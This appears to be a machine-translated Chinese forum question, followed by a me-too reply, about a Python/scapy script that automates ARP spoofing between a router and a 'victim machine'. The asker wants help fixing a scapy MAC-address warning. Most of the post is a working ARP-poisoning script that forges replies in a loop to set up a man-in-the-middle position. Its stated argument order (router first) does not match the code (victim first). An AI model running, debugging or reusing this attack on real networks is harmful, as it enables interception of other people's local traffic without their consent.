我有这段代码,我想自动化 ARP 欺骗的过程。 你像这样运行程序
sudo python3 arpSpoof.py 192.168.1.1 192.168.1.101
第一个IP地址是路由器的IP地址,另一个是受害机器的IP地址。
这是代码:
import sys
from scapy.all import *
def arp_spoof (dest_ip, dest_mac, source_ip):
packet = ARP(op="is-at", psrc= source_ip, hwdst=dest_mac, pdst=dest_ip )
send(packet, verbose=False)
def arp_restore (dest_ip, dest_mac, source_ip, source_mac):
packet = ARP(op="is-at", hwsrc=source_mac, psrc=source_ip, hwdst=dest_mac, pdst=dest_ip)
send(packet, verbose=False)
def main():
victim_ip = sys.argv[1]
print(victim_ip)
router_ip = sys.argv[2]
print(router_ip)
victim_mac = getmacbyip(victim_ip)
router_mac = getmacbyip(router_ip)
try:
print("Sending spoofed ARP packets")
while True:
arp_spoof(victim_ip, victim_mac, router_ip)
arp_spoof(router_ip, router_mac, victim_ip)
except KeyboardInterrupt:
print("Restoring ARP Tables")
arp_restore(router_ip, router_mac, victim_ip, victim_mac)
arp_restore(victim_ip, victim_mac, router_ip, router_mac)
quit()
main()
当我执行程序时,它开始正常,但是当它执行
arp_spoof
函数时,我收到错误:WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
但是我提供 MAC 地址目标 (hwdest)
我应该如何修复代码?
谢谢你
我可以看到你解决了这个问题。我也面临同样的问题。您能与我分享解决方案代码或解释一下如何解决该问题吗?这样我就可以得到帮助。请问?